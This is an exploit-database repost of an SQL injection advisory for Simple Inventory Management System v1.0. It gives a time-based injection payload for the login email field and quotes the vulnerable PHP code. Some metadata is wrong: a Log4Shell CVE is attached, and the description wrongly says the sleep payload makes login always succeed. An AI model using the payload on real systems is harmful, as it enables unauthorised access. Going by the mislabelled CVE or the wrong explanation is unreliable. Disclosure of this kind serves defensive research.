Simple Inventory Management System v1.0 email SQL Injection

CVE Category Price Severity
CVE-2021-44228 CWE-89 $500 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2024-02-27
Our sensors found this exploit at:

Below is a copy:

Simple Inventory Management System v1.0 email SQL Injection
# Exploit Title: Simple Inventory Management System v1.0 -  'email'  SQL Injection
# Google Dork: N/A
# Application: Simple Inventory Management System
# Date: 26.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A

## Vulnerability Description:

This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST['email'] and $_POST['pwd']) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.

## Proof of Concept (PoC):

An example attacker could input the following values:

email: [email protected]'%2b(select*from(select(sleep(20)))a)%2b'
pwd: test

This would result in the following SQL query:

SELECT * FROM users WHERE email = '[email protected]'+(select*from(select(sleep(20)))a)+'' AND password = 'anything'

This attack would retrieve all users, making the login process always successful.

request-response foto:

## Vulnerable code section:

$loginError = '';
if (!empty($_POST['email']) && !empty($_POST['pwd'])) {
include 'Inventory.php';
$inventory = new Inventory();

// Vulnerable code
$login = $inventory->login($_POST['email'], $_POST['pwd']); 

if(!empty($login)) {
$_SESSION['userid'] = $login[0]['userid'];
$_SESSION['name'] = $login[0]['name'];
} else {
$loginError = "Invalid email or password!";

## Reproduce:

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum